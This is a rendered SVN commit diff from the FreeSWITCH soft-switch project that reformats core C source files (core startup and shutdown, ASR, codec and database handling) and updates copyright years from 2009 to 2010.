</ins><span class="cx">                         switch_snprintf(buf + i, sizeof(buf) - i, "%0.2x", *byte);
</span><span class="cx">                         byte++;
</span><span class="cx">                 }
</span><span class="lines">@@ -1179,7 +1178,7 @@
</span><span class="cx">                 close(fd);
</span><span class="cx">                 fd = -1;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_set_variable("switch_serial", buf);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1284,7 +1283,7 @@
</span><span class="cx">         if (switch_test_flag((&runtime), SCF_USE_AUTO_NAT)) {
</span><span class="cx">                 switch_nat_init(runtime.memory_pool);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_init(runtime.memory_pool, runtime.colorize_console);
</span><span class="cx">
</span><span class="cx">         switch_load_core_config("switch.conf");
</span><span class="lines">@@ -1374,10 +1373,10 @@
</span><span class="cx"> static void switch_load_core_config(const char *file)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t xml = NULL, cfg = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((xml = switch_xml_open_cfg(file, &cfg, NULL))) {
</span><span class="cx">                 switch_xml_t settings, param;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((settings = switch_xml_child(cfg, "settings"))) {
</span><span class="cx">                         for (param = switch_xml_child(settings, "param"); param; param = param->next) {
</span><span class="cx">                                 const char *var = switch_xml_attr_soft(param, "name");
</span><span class="lines">@@ -1499,10 +1498,7 @@
</span><span class="cx">                         "* Anthony Minessale II, Michael Jerris, Brian West, Others *\n"
</span><span class="cx">                         "* FreeSWITCH (http://www.freeswitch.org) *\n"
</span><span class="cx">                         "* Paypal Donations Appreciated: paypal@freeswitch.org *\n"
</span><del>-                        "* Brought to you by ClueCon http://www.cluecon.com/ *\n"
-                        "************************************************************\n"
-                        "\n"
-                        );
</del><ins>+                        "* Brought to you by ClueCon http://www.cluecon.com/ *\n" "************************************************************\n" "\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1562,8 +1558,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "%s", switch_core_banner());
</span><del>-                                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE,
</span><span class="cx">                                          "\nFreeSWITCH Version %s Started.\nMax Sessions[%u]\nSession Rate[%d]\nSQL [%s]\n", SWITCH_VERSION_FULL,
</span><span class="cx">                                          switch_core_session_limit(0),
</span><span class="lines">@@ -1601,15 +1597,15 @@
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx"> static void win_shutdown(void)
</span><span class="cx"> {
</span><del>-        
-        HANDLE shutdown_event;        
</del><ins>+
+        HANDLE shutdown_event;
</ins><span class="cx">         char path[512];
</span><span class="cx">         /* for windows we need the event to signal for shutting down a background FreeSWITCH */
</span><span class="cx">         snprintf(path, sizeof(path), "Global\\Freeswitch.%d", getpid());
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* open the event so we can signal it */
</span><span class="cx">         shutdown_event = OpenEvent(EVENT_MODIFY_STATE, FALSE, path);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (shutdown_event) {
</span><span class="cx">                 /* signal the event to shutdown */
</span><span class="cx">                 SetEvent(shutdown_event);
</span><span class="lines">@@ -1681,17 +1677,16 @@
</span><span class="cx">                                 switch_set_flag((&runtime), SCF_NO_NEW_SESSIONS);
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        while(runtime.running && switch_test_flag((&runtime), SCF_SHUTDOWN_REQUESTED) && (count = switch_core_session_count())) {
</del><ins>+                        while (runtime.running && switch_test_flag((&runtime), SCF_SHUTDOWN_REQUESTED) && (count = switch_core_session_count())) {
</ins><span class="cx">                                 switch_yield(500000);
</span><span class="cx">                                 if (++x == 20) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                                         "Shutdown in progress, %u session(s) remain.\nShutting down %s\n",
-                                                                         count,
-                                                                         cmd == SCSC_SHUTDOWN_ASAP ? "ASAP" : "once there are no active calls.");
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                         "Shutdown in progress, %u session(s) remain.\nShutting down %s\n",
+                                                                         count, cmd == SCSC_SHUTDOWN_ASAP ? "ASAP" : "once there are no active calls.");
</ins><span class="cx">                                         x = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_test_flag((&runtime), SCF_SHUTDOWN_REQUESTED)) {
</span><span class="cx">                                 switch_set_flag((&runtime), SCF_NO_NEW_SESSIONS);
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="lines">@@ -1746,7 +1741,8 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SCSC_DEBUG_LEVEL:
</span><span class="cx">                 if (*val > -1) {
</span><del>-                        if (*val > 10) *val = 10;
</del><ins>+                        if (*val > 10)
+                                *val = 10;
</ins><span class="cx">                         runtime.debug_level = *val;
</span><span class="cx">                 }
</span><span class="cx">                 *val = runtime.debug_level;
</span><span class="lines">@@ -1806,18 +1802,18 @@
</span><span class="cx">
</span><span class="cx">         switch_set_flag((&runtime), SCF_NO_NEW_SESSIONS);
</span><span class="cx">         switch_set_flag((&runtime), SCF_SHUTTING_DOWN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "End existing sessions\n");
</span><span class="cx">         switch_core_session_hupall(SWITCH_CAUSE_SYSTEM_SHUTDOWN);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Clean up modules.\n");
</span><span class="cx">
</span><span class="cx">         switch_loadable_module_shutdown();
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag((&runtime), SCF_USE_SQL)) {
</span><span class="cx">                 switch_core_sqldb_stop();
</span><span class="cx">         }
</span><span class="cx">         switch_scheduler_task_thread_stop();
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_rtp_shutdown();
</span><span class="cx">         if (switch_test_flag((&runtime), SCF_USE_AUTO_NAT)) {
</span><span class="cx">                 switch_nat_shutdown();
</span><span class="lines">@@ -1859,11 +1855,11 @@
</span><span class="cx">                 apr_pool_destroy(runtime.memory_pool);
</span><span class="cx">                 apr_terminate();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return switch_test_flag((&runtime), SCF_RESTART) ? SWITCH_STATUS_RESTART : SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
</ins><span class="cx">                                                                                                          const char *subject, const char *body, const char *type, const char *hint)
</span><span class="cx"> {
</span><span class="cx">         switch_chat_interface_t *ci;
</span><span class="lines">@@ -1902,18 +1898,18 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> struct system_thread_handle {
</span><del>-        const char * cmd;
</del><ins>+        const char *cmd;
</ins><span class="cx">         switch_thread_cond_t *cond;
</span><span class="cx">         switch_mutex_t *mutex;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         int ret;
</span><span class="cx"> };
</span><span class="cx">
</span><del>-static void *SWITCH_THREAD_FUNC system_thread(switch_thread_t *thread, void *obj)
</del><ins>+static void *SWITCH_THREAD_FUNC system_thread(switch_thread_t *thread, void *obj)
</ins><span class="cx"> {
</span><del>-        struct system_thread_handle *sth = (struct system_thread_handle *)obj;
</del><ins>+        struct system_thread_handle *sth = (struct system_thread_handle *) obj;
</ins><span class="cx">
</span><del>-#if 0 // if we are a luser we can never turn this back down, didn't we already set the stack size?
</del><ins>+#if 0                                                        // if we are a luser we can never turn this back down, didn't we already set the stack size?
</ins><span class="cx"> #if defined(HAVE_SETRLIMIT) && !defined(__FreeBSD__)
</span><span class="cx">         struct rlimit rlim;
</span><span class="cx">
</span><span class="lines">@@ -1930,11 +1926,10 @@
</span><span class="cx"> #if 0
</span><span class="cx"> #if defined(HAVE_SETRLIMIT) && !defined(__FreeBSD__)
</span><span class="cx">         rlim.rlim_cur = SWITCH_THREAD_STACKSIZE;
</span><del>-        rlim.rlim_max = SWITCH_SYSTEM_THREAD_STACKSIZE;
</del><ins>+        rlim.rlim_max = SWITCH_SYSTEM_THREAD_STACKSIZE;
</ins><span class="cx">         if (setrlimit(RLIMIT_STACK, &rlim) < 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Setting stack size failed! (%s)\n", strerror(errno));
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #endif
</span><span class="cx"> #endif
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_asrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_asr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_asr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_asr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -115,7 +115,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* extract params */
</span><span class="cx">         if (*data == '{') {
</span><span class="cx">                 param_string = data + 1;
</span><span class="lines">@@ -123,7 +123,7 @@
</span><span class="cx">                 if (zstr(data)) {
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><del>-                } else {        
</del><ins>+                } else {
</ins><span class="cx">                         *data = '\0';
</span><span class="cx">                         data++;
</span><span class="cx">                 }
</span><span class="lines">@@ -144,7 +144,7 @@
</span><span class="cx">
</span><span class="cx">         status = ah->asr_interface->asr_load_grammar(ah, data, name);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(lgrammar);
</span><span class="cx">         return status;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_codecc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_codec.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_codec.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_codec.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -47,14 +47,17 @@
</span><span class="cx">         switch_mutex_t *mutex = NULL;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(session->codec_read_mutex);
</span><del>-        if (session->read_codec) mutex = session->read_codec->mutex;
-        if (mutex) switch_mutex_lock(mutex);
</del><ins>+        if (session->read_codec)
+                mutex = session->read_codec->mutex;
+        if (mutex)
+                switch_mutex_lock(mutex);
</ins><span class="cx">         session->real_read_codec = session->read_codec = NULL;
</span><span class="cx">         session->raw_read_frame.codec = session->read_codec;
</span><span class="cx">         session->raw_write_frame.codec = session->read_codec;
</span><span class="cx">         session->enc_read_frame.codec = session->read_codec;
</span><span class="cx">         session->enc_write_frame.codec = session->read_codec;
</span><del>-        if (mutex) switch_mutex_unlock(mutex);
</del><ins>+        if (mutex)
+                switch_mutex_unlock(mutex);
</ins><span class="cx">         switch_mutex_unlock(session->codec_read_mutex);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -79,14 +82,17 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_unset_write_codec(switch_core_session_t *session)
</span><del>-{        
</del><ins>+{
</ins><span class="cx">         switch_mutex_t *mutex = NULL;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(session->codec_write_mutex);
</span><del>-        if (session->write_codec) mutex = session->write_codec->mutex;
-        if (mutex) switch_mutex_lock(mutex);
</del><ins>+        if (session->write_codec)
+                mutex = session->write_codec->mutex;
+        if (mutex)
+                switch_mutex_lock(mutex);
</ins><span class="cx">         session->real_write_codec = session->write_codec = NULL;
</span><del>-        if (mutex) switch_mutex_unlock(mutex);
</del><ins>+        if (mutex)
+                switch_mutex_unlock(mutex);
</ins><span class="cx">         switch_mutex_unlock(session->codec_write_mutex);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -97,13 +103,13 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         char tmp[30];
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(session->codec_read_mutex);
</span><span class="cx">
</span><span class="cx">         if (codec && (!codec->implementation || !switch_core_codec_ready(codec))) {
</span><span class="cx">                 codec = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (codec) {
</span><span class="cx">                 if (!session->real_read_codec) {
</span><span class="cx">                         session->read_codec = session->real_read_codec = codec;
</span><span class="lines">@@ -119,16 +125,16 @@
</span><span class="cx">                 if (session->read_codec == session->real_read_codec) {
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (session->read_codec->next) {
</span><span class="cx">                         switch_codec_t *old = session->read_codec;
</span><span class="cx">                         session->read_codec = session->read_codec->next;
</span><span class="cx">                         session->read_impl = *session->read_codec->implementation;
</span><span class="cx">                         old->next = NULL;
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Restore previous codec %s:%d.\n",
</span><del>-                                                         switch_channel_get_name(session->channel),
</del><ins>+                                                         switch_channel_get_name(session->channel),
</ins><span class="cx">                                                          session->read_codec->implementation->iananame, session->read_codec->implementation->ianacode);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else if (session->real_read_codec) {
</span><span class="cx">                         session->read_codec = session->real_read_codec;
</span><span class="cx">                         session->read_impl = *session->real_read_codec->implementation;
</span><span class="lines">@@ -138,10 +144,10 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session->read_codec) {
</span><del>- status = SWITCH_STATUS_FALSE;
- goto end;
</del><ins>+                status = SWITCH_STATUS_FALSE;
+                goto end;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (session->read_codec && session->read_impl.decoded_bytes_per_packet) {
</span><span class="lines">@@ -158,14 +164,14 @@
</span><span class="cx">                 switch_channel_set_variable(channel, "read_codec", session->read_impl.iananame);
</span><span class="cx">                 switch_snprintf(tmp, sizeof(tmp), "%d", session->read_impl.actual_samples_per_second);
</span><span class="cx">                 switch_channel_set_variable(channel, "read_rate", tmp);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 session->raw_read_frame.codec = session->read_codec;
</span><span class="cx">                 session->raw_write_frame.codec = session->read_codec;
</span><span class="cx">                 session->enc_read_frame.codec = session->read_codec;
</span><span class="cx">                 session->enc_write_frame.codec = session->read_codec;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (session->read_codec) {
</span><span class="cx">                 switch_channel_set_flag(channel, CF_MEDIA_SET);
</span><span class="lines">@@ -178,17 +184,19 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_codec_t *) switch_core_session_get_effective_read_codec(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_codec_t *codec;        codec = session->read_codec;
</del><ins>+        switch_codec_t *codec;
+        codec = session->read_codec;
</ins><span class="cx">         return codec;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_codec_t *) switch_core_session_get_read_codec(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_codec_t *codec;        codec = session->real_read_codec ? session->real_read_codec : session->read_codec;
</del><ins>+        switch_codec_t *codec;
+        codec = session->real_read_codec ? session->real_read_codec : session->read_codec;
</ins><span class="cx">         return codec;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         if (session->read_impl.decoded_bytes_per_packet) {
</span><span class="cx">                 *impp = session->read_impl;
</span><span class="lines">@@ -198,7 +206,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         if (session->write_impl.decoded_bytes_per_packet) {
</span><span class="cx">                 *impp = session->write_impl;
</span><span class="lines">@@ -208,7 +216,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         if (session->video_read_impl.decoded_bytes_per_packet) {
</span><span class="cx">                 *impp = session->video_read_impl;
</span><span class="lines">@@ -218,7 +226,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         if (session->video_write_impl.decoded_bytes_per_packet) {
</span><span class="cx">                 *impp = session->video_write_impl;
</span><span class="lines">@@ -229,25 +237,25 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_set_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_set_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><del>-        session->read_impl =*impp;
</del><ins>+        session->read_impl = *impp;
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_set_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_set_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         session->write_impl = *impp;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         session->video_read_impl = *impp;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         session->video_write_impl = *impp;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -311,7 +319,7 @@
</span><span class="cx">                 switch_channel_set_variable(channel, "write_rate", tmp);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">         switch_mutex_unlock(session->codec_write_mutex);
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -346,7 +354,7 @@
</span><span class="cx">         if (!codec || !codec->implementation || !switch_core_codec_ready(codec)) {
</span><span class="cx">                 if (session->video_read_codec) {
</span><span class="cx">                         session->video_read_codec = NULL;
</span><del>-         status = SWITCH_STATUS_SUCCESS;
</del><ins>+                        status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot set NULL codec!\n");
</span><span class="lines">@@ -367,7 +375,7 @@
</span><span class="cx">
</span><span class="cx">         session->video_read_codec = codec;
</span><span class="cx">         session->video_read_impl = *codec->implementation;
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -376,7 +384,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_codec_t *codec;
</span><span class="cx">         codec = session->video_read_codec;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return codec;
</span><span class="cx">
</span><span class="cx"> }
</span><span class="lines">@@ -390,7 +398,7 @@
</span><span class="cx">         if (!codec || !codec->implementation || !switch_core_codec_ready(codec)) {
</span><span class="cx">                 if (session->video_write_codec) {
</span><span class="cx">                         session->video_write_codec = NULL;
</span><del>-         status = SWITCH_STATUS_SUCCESS;
</del><ins>+                        status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot set NULL codec!\n");
</span><span class="lines">@@ -398,7 +406,7 @@
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- if (switch_event_create(&event, SWITCH_EVENT_CODEC) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_create(&event, SWITCH_EVENT_CODEC) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_channel_event_set_data(session->channel, event);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "channel-video-write-codec-name", codec->implementation->iananame);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, "channel-video-write-codec-rate", "%d", codec->implementation->actual_samples_per_second);
</span><span class="lines">@@ -412,8 +420,8 @@
</span><span class="cx">         session->video_write_codec = codec;
</span><span class="cx">         session->video_write_impl = *codec->implementation;
</span><span class="cx">
</span><del>- end:
-        
</del><ins>+ end:
+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -570,13 +578,15 @@
</span><span class="cx">                 return SWITCH_STATUS_NOT_INITALIZED;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (codec->mutex) switch_mutex_lock(codec->mutex);
-        status = codec->implementation->encode(codec, other_codec, decoded_data, decoded_data_len,
</del><ins>+        if (codec->mutex)
+                switch_mutex_lock(codec->mutex);
+        status = codec->implementation->encode(codec, other_codec, decoded_data, decoded_data_len,
</ins><span class="cx">                                                                                  decoded_rate, encoded_data, encoded_data_len, encoded_rate, flag);
</span><del>-        if (codec->mutex) switch_mutex_unlock(codec->mutex);
</del><ins>+        if (codec->mutex)
+                switch_mutex_unlock(codec->mutex);
</ins><span class="cx">
</span><span class="cx">         return status;
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_codec_decode(switch_codec_t *codec,
</span><span class="lines">@@ -602,10 +612,12 @@
</span><span class="cx">                 return SWITCH_STATUS_NOT_INITALIZED;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (codec->mutex) switch_mutex_lock(codec->mutex);
-        status = codec->implementation->decode(codec, other_codec, encoded_data, encoded_data_len, encoded_rate,
</del><ins>+        if (codec->mutex)
+                switch_mutex_lock(codec->mutex);
+        status = codec->implementation->decode(codec, other_codec, encoded_data, encoded_data_len, encoded_rate,
</ins><span class="cx">                                                                                  decoded_data, decoded_data_len, decoded_rate, flag);
</span><del>-        if (codec->mutex) switch_mutex_unlock(codec->mutex);
</del><ins>+        if (codec->mutex)
+                switch_mutex_unlock(codec->mutex);
</ins><span class="cx">
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -615,9 +627,9 @@
</span><span class="cx">         switch_mutex_t *mutex;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         int free_pool = 0;
</span><del>-        
-        switch_assert(codec != NULL);        
-        
</del><ins>+
+        switch_assert(codec != NULL);
+
</ins><span class="cx">         if (!codec->implementation || !switch_core_codec_ready(codec)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Codec is not initialized!\n");
</span><span class="cx">                 return SWITCH_STATUS_NOT_INITALIZED;
</span><span class="lines">@@ -630,14 +642,16 @@
</span><span class="cx">         pool = codec->memory_pool;
</span><span class="cx">         mutex = codec->mutex;
</span><span class="cx">
</span><del>-        if (mutex) switch_mutex_lock(mutex);
</del><ins>+        if (mutex)
+                switch_mutex_lock(mutex);
</ins><span class="cx">
</span><span class="cx">         codec->implementation->destroy(codec);
</span><span class="cx">         switch_clear_flag(codec, SWITCH_CODEC_FLAG_READY);
</span><span class="cx">
</span><span class="cx">         UNPROTECT_INTERFACE(codec->codec_interface);
</span><span class="cx">
</span><del>-        if (mutex) switch_mutex_unlock(mutex);
</del><ins>+        if (mutex)
+                switch_mutex_unlock(mutex);
</ins><span class="cx">
</span><span class="cx">         if (free_pool) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&pool);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_dbc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_db.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_db.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_db.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -57,14 +57,14 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(const unsigned char *) switch_core_db_column_text(switch_core_db_stmt_t *stmt, int iCol)
</span><span class="cx"> {
</span><del>- const unsigned char *txt = sqlite3_column_text(stmt, iCol);
</del><ins>+        const unsigned char *txt = sqlite3_column_text(stmt, iCol);
</ins><span class="cx">
</span><del>- if (!strcasecmp((char *)stmt, "(null)")) {
</del><ins>+        if (!strcasecmp((char *) stmt, "(null)")) {
</ins><span class="cx">                 memset(stmt, 0, 1);
</span><span class="cx">                 txt = NULL;
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><del>- return txt;
</del><ins>+        return txt;
</ins><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -91,7 +91,6 @@
</span><span class="cx">
</span><span class="cx">         while (--sane > 0) {
</span><span class="cx">                 ret = sqlite3_exec(db, sql, callback, data, &err);
</span><del>-
</del><span class="cx">                 if (ret == SQLITE_BUSY || ret == SQLITE_LOCKED) {
</span><span class="cx">                         if (sane > 1) {
</span><span class="cx">                                 switch_safe_free(err);
</span><span class="lines">@@ -239,7 +238,7 @@
</span><span class="cx">                 retries = 1000;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-again:
</del><ins>+ again:
</ins><span class="cx">
</span><span class="cx">         while (begin_retries > 0) {
</span><span class="cx">                 again = 0;
</span><span class="lines">@@ -290,7 +289,7 @@
</span><span class="cx">                 }
